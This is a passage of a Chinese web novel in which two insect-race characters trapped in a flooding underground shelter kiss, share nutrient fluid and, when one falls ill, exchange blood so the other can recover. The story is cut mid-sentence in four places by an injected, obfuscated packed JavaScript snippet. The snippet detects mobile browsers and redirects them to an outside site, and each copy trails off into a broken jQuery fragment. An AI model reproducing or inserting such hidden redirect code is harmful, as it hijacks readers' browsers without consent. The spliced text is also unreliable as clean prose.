眼看着诗因又要凑过来,伊洛恩竭力后仰,垂死挣扎,眼睛左右躲闪,东拉西扯地找话题,结结巴巴道:“这个……这里怎么会有蜡烛?是你点的吗?” 立在床头的一盏油灯晃着微弱的烛光,此时就像是一株救命稻草,被伊洛恩的求生精神牢牢攥住,企图脱离水火。 “嗯……嗯。旁边放的……有……可以用。我,我点了。” 诗因皱着眉头,慢吞吞地嘟囔着。他嘴里的声音还是含含糊糊的,稍微长一点的话都讲不明白,反而还差点咬到自己的舌头。 谁叫某个笨蛋一熄灯就打哆嗦。是谁怕黑,他不说。 伊洛恩听他声音戛然而止,也以为他把自己给咬到了,顿时没心思再管蜡烛的事,担心地左右瞧瞧,说:“对不起,对不起,我们还是先不说话了……是不是很痛?有没有出血?” 诗因眨眨眼睛,发出一声低低的“唔”,他垂下长长的睫毛,白瓷一样的额头在烛光下平添一分艳色,像一只刚刚开始上妆的瓷娃娃,看起来乖巧极了。 他含糊地说:“有一点。” 这幅姿态果然让伊洛恩放下了防备,他又靠近了,用食指和拇指捏住诗因脸颊,想查看他嘴巴里的伤口。 诗因的嘴唇顺势被他揉得半张,如同被迫打开的玫瑰花苞,只小心翼翼地露出了一道小口,红得更深的花蕊在其中若隐若现。 手指碰到嘴角的瞬间,温柔的玫瑰立刻化为食人花,两排洁白的牙齿一亮,作势要咬住伊洛恩的手指。 伊洛恩连忙躲开,诗因咬了个空,顿时不满地哼哼:“痛!” 伊洛恩真拿他没办法,只能好好同他讲道理:“既然嘴巴痛,那就不要咬我了,好吗。” 诗因抬起眼,直勾勾地盯住他的嘴唇,像一头锁定了猎物的狼。他用舌头舔了舔嘴唇,咕哝道:“不好……” 话音刚落,他用两只手抱住对方的脖子,下巴扬起,用力亲了上去! 伊洛恩大惊失色:“等一下,诗因,等等……唔……” 诗因才没他那么多顾忌。他们都已经结婚了,而且他还有需要,为什么不能亲? 他就要亲,就要亲。 “诗因……唔唔唔……” 啾。 啾咪。 力气不大,但是气势超凶,连珠炮一般,诗因使尽浑身解数,大张旗鼓,势要一举拿下这块□□。 啾,啾,啾。 伊洛恩很想说话,可是嘴巴被堵住了,根本说不出来。 伊洛恩的手颤颤巍巍地放在诗因肩头,按住了,却没有推开,只是在诗因咬他的时候,下意识地按得更紧。 人工呼吸。 这是人工呼吸。 伊洛恩从一团浆糊的思绪中,艰难地捞出了一条勉强成型的逻辑。 要透过现象看本质。他们根本不是在接吻,只是汗水效果有限,诗因恢复的情况不理想,需要他的唾液来续命,所以,所以才会有这样的举动。 所以这和拥抱是一样的,是……是医学行为,纯粹是为了治病救人……救虫。所以他不应该掺杂个人感情,不可以……多想…… 唾液滑入喉咙,□□渴的身体愉快地接纳,像是一阵甘霖落入了熊熊火海,所过之处,麻木的五脏六腑都缓慢恢复知觉。 诗因对着伊洛恩的嘴巴又吮又咬,像是饿了几辈子的狼遇上了一只超大号的冰淇淋,尝了一口就一发不可收拾,巴不得整个含进嘴里,非要挖掘出更多的甜蜜滋味不可。 伊洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350099|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩被他毫无章法的动作啃得都有点痛了,他捏住诗因的下颌,用力把急吼吼的雌虫推开。诗因到底还是力气不如他,挣扎两下未果,终于被迫和他分离。 只是喘得厉害,原本惨淡的唇色都变成了润泽的粉,好像刚刚不是在接吻,而是被人用上好的颜料细细地晕了色,又用蜂蜜抹开,就连唇边挂着的津液,都是甘美的蜜糖。 他一双浅金色的眸子湿漉漉的,像两滴将落未落的蜂蜜,可怜巴巴地往伊洛恩嘴唇上黏。 他明明都还没亲够,怎么就结束了! 伊洛恩呼吸也有些不稳,两片嘴唇都被他啃得通红一片,甚至微微发肿。他用拇指抹了一下嘴角的口水,低声说:“别急啊……” 反正……反正必须要四种津液才会导致绑定,他们现在只有汗液接触,就算再加上一样唾液,也没什么问题。 他这么想着,于是按在诗因下巴上的手指稍微用力,让那张粉红的嘴唇微微张开。诗因听话地随他摆弄,只是目光炯炯,搭在他后颈处的手指蠢蠢欲动,看起来随时会再次扑上来。 伊洛恩无奈道:“不要咬我,好吗?” 诗因微微扬眉,眨了一下眼睛。 伊洛恩身体前倾,与他鼻尖贴着鼻尖,轻轻地摩挲片刻,呼出的热气笼罩在诗因脸颊上,呢喃:“答应我,这次不要咬了。” 诗因长长的睫毛颤动,眼角的虫纹都仿佛有光在其中流动。他像是预感到了什么,呼吸微微放缓,乖乖地从鼻腔里发出一声“嗯”。 然后下一秒,他的唇瓣就被对方轻轻衔住,温柔地含进了唇齿间。 呼吸交缠。 这是一个克制而温情的吻。 不同于之前的急迫恳切和手忙脚乱,这一次,一切都理所当然,平和而绵长。他们的脸颊相贴,伊洛恩的舌尖刚刚敲响对方的大门,就被满心期待的主人家给抱了个满怀,这份拥抱热情诚挚,好像从很久很久以前,就一直在等待着他一样。 两人唇齿好像都被升腾的体温融化了,变成一汪汪缠绵的水。诗因的血液在滚动,死去的生机在苏醒,所有的细胞在记忆这场久违的降雨,被伊洛恩抱在怀里的身体无法抑制地阵阵颤抖,泪水从眼角溢出,几乎要承受不住这场慷慨的灌溉。 可是还要……还要…… 给我……给我…… “咕噜”一声,如同平地惊雷,把沉浸在亲吻中的两人惊醒,双双停下了动作。 伊洛恩缓慢后退,被过多的口水呛得轻轻咳了两声,床单上染出几滴水晕。 刚刚亲的太激烈,诗因的嘴唇和脸颊都泛起了血色。他砸吧砸吧嘴,眼神罕见的带上了一点迷茫,好像不太清楚刚刚发生了什么事,只是舔了两下嘴唇,还想再亲亲。 伊洛恩擦了一下他嘴角的口水,低声问:“饿了吗?” 诗因这才意识到自己的肚子叫了。他眉头微蹙,有些恼羞成怒的模样,舌头卷过伊洛恩沾着口水的指尖,不甘心地轻轻咬了一下。 伊洛恩心头一震,整只手都麻了。他立即把手收回,背在身后,慌张地起身道:“我,我去拿营养液。” 说完,他扑通一声,径直摔下了床。 23. 吃饭 诗因都被他摔跤的这声动静给惊到了,起身去看他的情况。伊洛恩从地上爬起来,狼狈地揉了揉自己的膝盖,说:“我……我没事。” 他后知后觉地感到了害羞,此时不免有些心慌意乱。他努力掩饰自己的不自在,没话找话:“营养液……营养液也不知道被小美放在哪里了,我去医务室找找。灯,灯我先拿走,很快就回来。” 他说着,拿起了那盏烛台,匆匆忙忙、同手同脚地走了。 堪称落荒而逃。 诗因看着他的背影消失在门口,这才倒回床上,在雄虫躺过的地方打了个滚。他摸着那片残留着体温的床单,脸上的笑容越来越大,直到终于“噗嗤”笑出了声。 空荡荡的走廊内,烛火安然地摇曳,一灯如豆。 伊洛恩刚走出门,就左脚绊右脚,差点又摔了一跤。他扶着墙站稳,努力平复了一下心绪,手指却不自觉地放在嘴唇上,神情有些发怔。 原来……接吻,就是这种感觉吗? 好像在吃一块很香很香的水果软糖。 蜡烛发出轻微的噼啪声,他倏然惊醒,赶紧摇摇脑袋。什么接吻,明明是人工呼吸,只是人工呼吸而已。 这样想着,心脏还是在剧烈地跳动,两唇相接的触感仿佛还停留在齿缝间,一片温热。 他们贴得很近很近的时候,诗因的睫毛会扫过他的脸,若有若无,又痒痒的,好像拂过湖面的柳絮,荡起涟漪又无从追寻,让他心头悸动。 伊洛恩连忙甩了甩头,觉得自己的念头十分下流,他无法否认自己在治病救虫的行为中掺杂了私心,这更令他懊恼不已。 希望他们能够赶快逃出这里,然后诗因就可以离开了。 他也不必再受这样的煎熬。 他站在原地缓了一会儿,才端着烛台往医务室走去。小小的烛火将他的影子拉得很长很大,末端融入暗色之中,像一只踽踽独行的怪物。 那几瓶营养液就被随意地摆在柜子外面,并不难找。伊洛恩拿起一瓶,正打算往回走,忽然听到了一点非常细微的声响,不由朝更黑暗的角落看去。 滴答,滴答。 稳定,规律,持续不断。 他眉头一紧,朝那边走了两步,果不其然,看见地上映出了一片明亮澄净的火光。脚尖再往前探出一点,碰到了一滩冰凉刺骨的水,令他打了个寒战。 滴答,滴答。 天花板仍然在往下渗水,伴随着窸窸窣窣的细微动静。伊洛恩把蜡烛举高,看见墙体已经湿了一大片,还有更多的水源源不断地从缝隙中漏出来。只是短短片刻的功夫,薄薄的积水已经漫到了他的前脚掌。 小美说过的话回响在他耳边:“……可能会损毁各种管道……像是水管,让我们失去水源……” 他转身去洗手台,试着拧了一下水龙头。水淅淅沥沥地流了出来,疲软而纤细,看起来明显后继无力。 他的心沉了下去。 即便躲到了这个地方,他们也不过只是多拖延了一天而已。照这个漏水的速度,他们最多只能再停留一天,而且这还是水势不会扩大的情况下。 盘踞在外的异兽们阴魂不散,虎视眈眈,保不准还会做出更严重的破坏…… 而他只能寄希望于诗因。只有诗因恢复战力,他们才有成功逃生的可能。 留给他们的时间不多了。 伊洛恩顿时心情沉重。他转身带上所有的营养液,一起抱在胸前,匆匆走了回去。 诗因正侧躺在床上闭目养神,白发微微遮了小半张脸,听到他靠近的动静,就睁开眼。视线相撞的刹那,气氛如断点续传,嘴唇相接的水声回响在耳畔,伊洛恩坠着铅块的一颗心又没出息地用力蹦跶了两下。 不行,不能害羞,想想现在的危机,想想头顶的异兽…… 他干咳了两声,把那点异常的心跳又咽了回去,结果才到床边放下烛台,诗因就黏糊糊地抱了过来,两条胳膊环着他的腰,把脸贴在他的肚皮上,闭着眼睛乱拱。 伊洛恩吓得差点把灯油和营养液都泼出去,结巴道:“诗诗诗诗……诗因!” 肚子上的脑袋左右蹭了两下,把一头白毛蹭得翘起来,乱蓬蓬地堆在他身前。 伊洛恩整个人都不好了,他唯恐被诗因发现自己的不对,哑着嗓子干巴巴地说:“你饿了,我们……先吃饭。” 诗因这才放过他。 伊洛恩把手上的瓶瓶罐罐搁在床脚,自己先开了一瓶,放到嘴边尝了尝。冰凉的营养液流过口腔,唤起了一阵苦涩发麻的味觉。 他先是被冰得僵了一下,随后又被苦得五官皱成一团,拧眉看着手中这瓶营养液,不知道它究竟是放的太久过期了,还是本来就是这个味道。 这也太可怕了。 诗因还在翘首以待,他的身体裹在被子里,像只巢中幼鸟一样眼巴巴地等着他喂食。伊洛恩犹豫了一下,看看手上这瓶营养液,再看看诗因。 眼下他们只能吃这个。 要抓紧时间。 伊洛恩把心一横,他深呼吸一口气,含住一口冷冰冰的营养液,在嘴里捂得稍稍没那么冷了,才倾身与诗因贴面,再一次唇齿相接。 这一口营养液像是黏合他们嘴唇的胶,苦涩的汁水在他们的舌尖流淌,从此岸到彼岸,渡得柔滑而绵长。体温中和了液体原本的冰凉,在传递到对方口中的时候,已经变成了平易近人的温度。 诗因的气息慢慢变得平和,他温顺地接纳了对方递来的食物,对于营养液的味道并没有什么不适应,反倒是对这种喂食方式颇有兴趣。 他把那口温凉的营养液咽下去,又依依不舍地挽留伊洛恩的舌尖,勾连着缠吻,好像伊洛恩的口水就是裹住苦药的糖衣,他贪吃又嗜甜,只想要索取更多的糖分。 伊洛恩被他磨得一点办法也没有,只能坐在床头,再靠得近一点,好方便那只舌头不安分地到处作怪,又轻轻吮着,慢慢地,笨拙地安抚着他。 这样肩挨着肩,脸贴着脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350100|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂起来也确实要便利得多。伊洛恩只要稍一低头,就能与诗因的嘴唇相碰。也实在是太方便,太轻而易举,这项亲密举动中令人难以接受的部分,渐渐就被冲淡了。 空气仿佛都变成了粘稠的粥,包裹着不知时间流逝的他们。唇舌相接,从生涩迟钝逐渐变得自然而然。瓶中的营养液依然是常年不变的冰冷,却在他们的依偎中升温,被舌尖裹着,拥着,抵着,缠着,逐渐变得温暖起来。 也许是因为这次的口水被营养液稀释的缘故,诗因没有再出现之前那样剧烈的身体反应。他只是舒展着身体,发出一些舒服的哼唧声。 实在是很舒服,很舒服的,就像是久睡的人迎着阳光伸了一个大大的懒腰,全身骨头跟着咔吧咔吧响动的那种舒服,生命的活力几乎要从骨头缝里渗出来了。 而且胃里暖洋洋的,虽然只是最普通的食物,可是好温暖。被体温包裹着的液体散发出微弱而绵长的暖意,就像是伊洛恩给他带来的感觉。 一瓶营养液不知不觉间喂完,空荡荡的瓶子哐当滚在地上,骨碌碌地滑出去好远,他们还依依不舍地贴在一起。伊洛恩双手抱着人,发丝缠绕,气息交融,一下一下地轻轻碰着诗因的唇瓣,几乎有点沉迷于这种温暖湿润的触感。 只要衰亡期的理由还在生效,所有肢体接触都理所当然,一点顾忌也不需要有。 他模模糊糊地问:“感觉好一点吗?” 诗因模模糊糊地回答:“嗯,嗯。” 他们的神志和声音都在亲吻中融化了,变成黏黏糊糊的一滩,随着动作粘连在一起。 伊洛恩一手揽着诗因的腰,一手托着后脑,这个姿势下,诗因几乎整个倚靠在他怀里,微凉的乳白发丝几乎淹没了他的手臂,像一道轻盈的流泉,一直流到他抵着床沿的双膝前。 仿佛他在拥抱着诗因的同时,诗因也无声地包裹着他。他们已经是这样密不可分,彼此交融。 可是身体的需要,与情感的需要,并不是一回事。 眼前的相依相拥,像是一场短暂的梦幻泡影,因衰亡期而生起,也会因衰亡期而灭去。如果任凭自己的心这样沦陷下去,等到眼前的这场危机结束以后,他们又该怎样相处? 那个时候,如果他还眼巴巴地贪图和诗因继续亲密,岂不是让彼此都尴尬? 过了好久,伊洛恩才稍稍放开怀里的雌虫,手指梳了梳他的长发,眼神温柔而忧愁,说:“你要快点好起来。” 快点,趁他还能保持理智,趁他能够体面地放手。 诗因注视着他的眼睛,慢慢点头:“嗯……嗯,我会的……我会保护你。” 在金色眼眸之中,一切暗色都无所遁形。他看着伊洛恩忧郁的眼睛,像是在看一双柔软而易碎的珠宝。 伊洛恩就笑起来:“好,诗因保护我。” 他又把雌虫抱紧了,脸埋在对方肩头,用力揉了揉那头长发。 营养液的滋味依然残留在喉咙间,但他忽然觉得没有那么苦了。 24. 生病 之后他们又断断续续地温存了很久。 积水无声地蔓延,气温缓慢下降着,而他们肌肤相亲,几乎感受不到外界的变化。 由伊洛恩主导的过程,都显示出一种平缓而温和的特质,以细水长流的态势,精心滋润着诗因这朵蔫巴巴的小白花。而张牙舞爪的植物也乖乖收了自己的毒液和尖刺,一点攻击力也没有似的,软绵绵地任凭他为所欲为。 寂静昏暗的地洞中,摇曳的烛火成为唯一的时间维度。而直到光芒熄灭,他们依然拥抱在一起,脸颊贴着脸颊,手臂环绕着彼此,只是伊洛恩合着眼皮,抚摸诗因的动作也变得机械而迟缓,似乎已经不知不觉中睡着了。 诗因把他的手拉到身前,放在嘴唇边轻轻吻了一下,金色的眼睛在黑暗中发着微光,专注地观察着伊洛恩的睡颜。 他抓起伊洛恩的手掌,尝试和它十指交握,并且贴在自己的胸口。那里还隔着一层布料,是伊洛恩套在他身上的衬衫,经过刚刚的一番亲密接触,仍然带有雄虫的气味,并且始终柔软地笼罩着他。 但是,好奇怪。 明明气氛都已经这么到位了,为什么雄虫还迟迟不愿意继续? 他明明很配合啊。 诗因皱起眉头,他其实已经疑惑很久了。 他想起婚礼结束之后偷听到的对话,伊洛恩不愿意签财产转让协议,并且执意要见他。 他从那时起就隐隐感觉奇怪,但当时又转念想,也许伊洛恩是馋自己身子。毕竟雄虫对雌虫的需求,无非也就这么两样。 然而现在看来,好像也不是。 给他财产,他不感兴趣。给他身体,他也不感兴趣。 伊洛恩究竟想要什么呢? 事情超出了诗因的理解范围,伊洛恩这一个体的种种古怪举动,用虫族的文明体系简直无法解释。 两个人的体温熨帖着彼此,营造出无比温暖的睡眠环境。诗因怎么也想不明白,脑袋越想越迷糊,不知不觉间沉入了梦乡。 地下室的温度越来越低,他们无意识地贴得更紧。诗因睡着睡着,却无端感受到一股燥热。 那热气不是来自体内,而是来自外界。他蹬掉了被子,还是觉得难受。环在腰上的那双胳膊烫得像是烧红的铁钳,烤得他浑身不舒服,而且本该起到治疗作用的汗液也越来越少…… 等等,这不正常。 诗因猛然惊醒。他下意识往伊洛恩那边一摸,手指只感到一阵干燥的滚烫,伊洛恩沉重而艰难的呼吸像是旱地上空的热风。 糟了。 诗因立即睁开眼,他看见伊洛恩忍耐地皱紧眉头,在梦魇中蠕动着嘴唇,身体烧得像是火盆里的炭,而且正在高温中破碎,奄奄一息。 他的雄虫生病了。 诗因捧住他的脸,喉咙发紧,一声声喊他的名字:“伊洛恩,伊洛恩。” 伊洛恩醒不过来,他就摇晃雄虫的肩膀,呼吸已经有些微乱,长发乱糟糟地垂在身边,一排发丝随着他的动作颤抖:“伊洛恩,醒醒。” 伊洛恩的身体发冷,偏偏皮肤又滚烫无比。他感觉自己像是被困在一间失重坠落的房子里,密闭的空间里满是熊熊大火,他求出无门,又口干舌燥。 他头重脚轻地持续下坠,那些烈火穿过他的胸膛,却带走了他的热量,让他在火场中瑟瑟发抖,忍不住蜷缩成一团。 朦朦胧胧间,伊洛恩好像听见有人在喊他,只是声音太遥远,又被下沉的气流给冲得乱七八糟,怎么也听不清楚。 他感觉自己好像又回到了一种奇异而熟悉的状态里,仿佛进入子宫再次接受孕育,在漫长的沉睡中,一个声音呼唤着他的名字,像是规律涌上沙滩的潮汐,一遍又一遍—— “易水恒,易水恒……”它轻轻叹息,“今天也不醒,明天也不醒,什么时候才会醒过来呢?” 潮湿的声音在耳旁起落,像是被雨水打湿的书信,字迹模糊。 “你再不醒来的话……” 后面的声音戛然而止。他猛地咳了一声,虚弱地睁开眼。入目是一片虚无的黑暗,他浑浑噩噩,一时不知道身在何方。 他是谁? 身边传来熟悉的体温和急切的呼吸,像一个鲜明的、跳跃着的锚点,将他的灵魂着陆在当前的时空。 记忆缓慢回笼,他喃喃:“诗因。” 诗因一把攥紧了他的手,把脸贴在他的脸上。本来就偏低的体温,此时更像是一块降温的冰,让他解脱一般地轻轻舒了一口气。 “伊洛恩。”诗因用力扣着他的手指,气息短促,“你不要死。” “不会死的。”伊洛恩咳嗽着,干哑着嗓子说,“别怕。” 他其实自从在虫族世界醒来之后就没有好好休息过。哪怕是刚刚被救助回来的时候,那些雌虫也只是意思意思地给他补了点营养,让他表面上看起来没有大碍,因为笃定诗因不会让他活太久,所以也不想浪费多余的资源,不等他恢复就拽出来结婚去了。 而他所剩无几的体能一再被耗竭,之前生死关头没觉察出什么,连续睡了几觉,虚弱和病痛便卷土重来,它们趁虚而入,短时间只怕很难被轻易拔除。 但他得撑住。现在还远没到能放松的时候,如果他倒下了,诗因也活不成。 伊洛恩忍耐着痛苦,深深地呼出一口热气,说:“没事……” 诗因听出他嗓音糟糕,立即说:“我去给你拿水。” 伊洛恩阻止的话还没有说出口,诗因就利落地翻身下床,结果一脚踩进了深深的积水中。 扑通,水花四溅。 诗因:“……” 伊洛恩:“……” 诗因缓慢地抬起自己的脚,冰凉刺骨的水从他小腿肚附近淅淅沥沥地滑落,他看向伊洛恩,金色的眼睛所过之处,黑暗中的一切都无所遁形,他看见了伊洛恩担忧的神情,似乎并不意外。 诗因沉默了片刻,问:“你什么时候发现的?” 伊洛恩说:“昨天去拿营养液的时候。” 从那时到现在,大概过了八个小时。那么照这个速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15350101|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度算,再过四个小时左右,水就会淹没他们的床。 诗因抹了一把腿上的水,说:“你应该告诉我。” 他不知道笨蛋怀着什么样的心情藏着这件事,在安抚他的时候,心里又在想什么。笨蛋身上背着这样沉重的包袱,挡着危急的困境,把自己都快压垮了,也一点没让他知道。 伊洛恩很愧疚:“对不起。” 诗因顿时收敛了语气:“不,我不是在怪你。” 事已至此,他们也没有其他的办法,只能尽快离开这里。 诗因拿起床头的营养液,咬开瓶塞,往嘴里灌了几口,焐热了,像伊洛恩之前喂他那样,一口口送进伊洛恩干燥的口腔。 伊洛恩身体没有力气,任他摆弄。一瓶营养液很快见了底,诗因抹了一下嘴角,心里发沉。 对方的嘴巴太干燥了。 伊洛恩现在像是一口被热气蒸干了的井,四面干涸,根本打不到水,即便被营养液短暂润泽,不久也很快挥发干净。病情极大地影响了伊洛恩的身体状况,可是得不到水源,他又该怎么恢复战力? 别说回到巅峰,诗因现在距离基础作战水平都还差得远,仅仅只是能够自由活动而已。而且外面蹲守的可不是什么能随便糊弄的家伙,他要带着伊洛恩突出重围,这点力气必定不够。 伊洛恩在黑暗中睁开眼,他虽然看不见东西,但还是摸索着朝诗因的方向伸出手。诗因将他的手紧紧抓住,贴在脸上,极热和极冷相遇,如同冰火两重天。 伊洛恩摸到他腮边肌肉紧绷,知道他因为自己陷入了困境,于是轻声说:“用我的血。” 诗因身体一震。 伊洛恩用手指轻轻摩挲他的眼角,说:“没有关系,来吧。” 诗因闭了闭眼,说:“会很痛的,而且……” 而且他如果要迅速恢复,只能大量饮血。此消彼长,伊洛恩又在病中,失血只会让他的状况更加糟糕。 伊洛恩头脑昏昏沉沉,坚持着说:“没关系。” 他或许明白诗因的言下之意,或许不明白,但是都不重要。他本来就做好了只有一个能活的准备,他也从不奢望能和诗因一直走下去。如果迟早要分开,那么在这里做一个了结也很好。 他只是不想拖累诗因而已。 更何况,如果能用伊洛恩意外的重生换来另一条真正的生命,那不是很划算吗? 在极静的时候,仿佛也能听到水的细微动静,冷意慢慢上涨至床垫,潮湿的气味侵袭而来,好像随时能将他们吞没。 太冷了,伊洛恩不停打着寒战,只是不想让诗因察觉,才竭力克制着,五指都在微微发抖。诗因一把握紧他的手,用力搓了一会,仍然不见他出汗。他心里又恨又急,咬紧了牙关。 伊洛恩努力让自己说话不哆嗦,低声道:“来吧……不然就来不及了。” 诗因目光沉沉,又盯了他片刻,终于欺身上前,一手扣住他的下颌。 犬齿贴上他的后颈。 然后轻轻咬了下去。 25. 求生意志 牙齿刺破皮肤的瞬间,伊洛恩微弱地抖了一下,血立刻溢了出来。 诗因用左手扣住他颤抖的腰,右手垫在他后脑勺处,埋头轻轻地吮吸。 犬齿下的皮肤滚烫而柔软,被他用虎牙一啄,几乎不费什么力气,血珠就接二连三地冒了头。 那片肌肤微微战栗着,诗因不自觉地收紧了手指,又轻轻用牙齿磨了磨,像是在咬一只皮薄而鲜美的灌汤包。薄薄的面皮很快破裂,滚烫的汁液争先恐后地涌出,被他用力卷进喉间,嘴里全是满满当当的铁锈味。 他含混地安抚着:“很快就好……” 伊洛恩迷蒙地睁着双眼,意识在疼痛与高热中浮沉,身体软得没有一点力气,只能任凭自己被诗因紧紧按在怀里。 他的感官渐渐变得十分迟钝,甚至快要觉察不出疼痛,只感觉诗因似乎一直埋头在他后颈舔来舔去,呆呆地问:“够吃吗?” 此时他头脑昏沉,只模糊记得后颈处似乎是没有动脉的,于是含含糊糊地提出了一个建设性建议,问:“要不要咬我的……喉咙?” 诗因动作一顿。 喉咙当然是个好下嘴的地方,如果换个气氛,换个场合,诗因不介意收着牙给他咬一咬,留下一点私人标记。但是一旦见了血,那就完全是另外一种情况了。 要是真的在那里咬下去,血就跟喷泉一样止不住了,伊洛恩还有活路吗。 他一时分不清伊洛恩到底是真傻还是假傻,只是轻轻咬着后颈的这块软肉,专心吮吸嘴里的血,没说话。 其实喝血的感觉并不好,血液蕴含的能量比唾液和汗高出了几个量级,就像是在饮用完全不兑水的浓缩果汁。 液体所过之处,无一不带来了强烈的灼痛感觉,从喉咙到食道,再到胃部,然后蔓延到全身各处,仿佛是一把无形的火,从内到外,似乎在撕扯他的内脏和皮肉,要将他焚烧成灰烬。 这已经是他们融合的第三种津液,为诗因的身体带来了指数级的变化,诗因后背结痂的伤口以肉眼可见的速度愈合,绵软无力的四肢逐渐充满气力,偏低的体温甚至都有所上升。 好在经过前两天循序渐进的过程,这些已经在他身体承受范围之内,能够不露破绽地忍耐下来。 诗因忍下了体内翻天覆地的剧痛,只是小心地用犬齿磨蹭那个渗血的伤口,汲取少量血液。 结果伊洛恩还以为他没听清,又努力提醒道:“……我的喉咙。” 诗因微微鼓了下腮帮子,拿这傻瓜没办法,只好安抚性地用手指摸了摸他的脖子。 伊洛恩神志不清,但眉头却微微皱起,似乎察觉到自己被糊弄了,嘟囔道:“你怎么没有咬。” 诗因:“……” 他惩罚性地在对方喉结上咬了一口,留下了一点牙印。 满意了吗,大笨蛋。 伊洛恩感觉到了一点细微的痛意,好像喉咙被蚂蚁蛰了一下,这才卸下了什么负担似的,微微放松下来。 但是他的神志却越来越模糊,身体似乎是舒服了一些,发烧带来的异常热度随着血液的流失而消退,可是更为漫长的寒冷接踵而至。 湿冷的被褥迅速消磨着他仅存的热量,诗因唇舌的温度已经无法抵消。伊洛恩逐渐开始牙关打颤,手脚痉挛,觉得自己好像随时会不小心打到诗因,只能轻轻呼气,身体的哆嗦完全无法抑制。 诗因停下了动作,伊洛恩已经快要没有知觉了,昏沉间,凭着最后一念轻声说:“没事……” 没事个鬼。 诗因一把抱起他,两人位置瞬间颠倒,他托住伊洛恩的身体,摸着他冰冷的面颊,眉头紧锁。 他们身体发生变化的速度实在太快,仿佛就在刚刚血液流动的片刻,生命的火种已经在他们之间完成了一次转移,不是一把火点亮另一把火,而是将一星微弱的火苗缓慢移到了另一个体身上。 此消彼长,再这样下去,伊洛恩会死的。 诗因捧着他的脸,开始用舌头轻轻舔伊洛恩肿胀的后颈。血液仍然在不断渗出,他紧紧搂住雄虫的肩背,发热的手掌在他渐凉的后背和颈间用力揉搓,好半天过去,才终于搓出了一点温热。 “伊洛恩?”他用嘴唇贴着伊洛恩的耳垂,“你还好吗?醒一醒,我马上带你走。” 伊洛恩已经失去意识,听不见他的声音了。 诗因心脏一紧。照这样下去,雄虫根本撑不到他们得救的时候。 他必须要唤醒伊洛恩,用一件让他最在意的事情,吊住他求生的意志。 于是诗因用力晃了晃他的肩,说:“伊洛恩,等我们出去了,我就给你很多很多钱,让你随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15350102|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便花,怎么样?” 伊洛恩双目紧闭,没有反应。 他接着说:“我把全星际的甜食都给你买回来,你喜欢吃什么,我就把他们的商店和工厂全都买下来,都给你。” “我给你建一座大花园,一年四季都开满花。” “我们再办一次婚礼,这次我亲身上场,让那些说风凉话的都羡慕死你……” “……” 承诺石沉大海,无法得到回应。诗因话音渐低,终于没有再出声,只是用力抱住了伊洛恩微微发冷的身体,那一下抱得很紧很紧。 “咳。”伊洛恩被他勒得肋骨差点断裂,他呼吸困难,终于恢复了一点神志,口中吐出模糊的音节,“诗……因……” 诗因猛然抬头,颤声念他的名字:“我在,我在这里……伊洛恩。” 他看着伊洛恩奄奄一息的模样,忽然想起飞船上相似的一幕,心念一动。 伊洛恩似乎对他的精神体很感兴趣。 诗因二话不说,精神力瞬间凝为实质,毛发蓬松的小猫咪轻盈落地,优雅地转身,用毛乎乎的大尾巴扫了一下伊洛恩的鼻尖。 这次可不是瘦巴巴的秃头小猫咪,它几乎恢复了全盛时期的五成毛量,足够盖住自己的肉肉,而且怎么揉都不会掉! 伊洛恩意识模糊,只感觉鼻子痒痒,但是喷嚏又打不出来,眉毛不自觉地微微皱了一下。 诗因在他耳边低语:“伊洛恩,只要你能撑下去,就可以抱着小猫随便摸。” 伊洛恩陡然间精神一振,他感觉自己好像忽然醒了一些,又好像没有醒,他喃喃:“真的吗?” 诗因的声音充满诱惑:“真的,而且猫会自己主动来蹭你。” 仿佛是验证他的话一样,猫咪立刻伸腰,又蓬又软的大围脖在他脸颊边一通猛蹭,一双嫩乎乎的肉垫还抱着他的下巴,把自己最柔软最舒服的部位全搁在他身上。 伊洛恩感觉自己像是躺在云端,做梦一样,他呓语:“猫咪……” 猫咪用脑门上的绒毛顶他:“喵呜。” 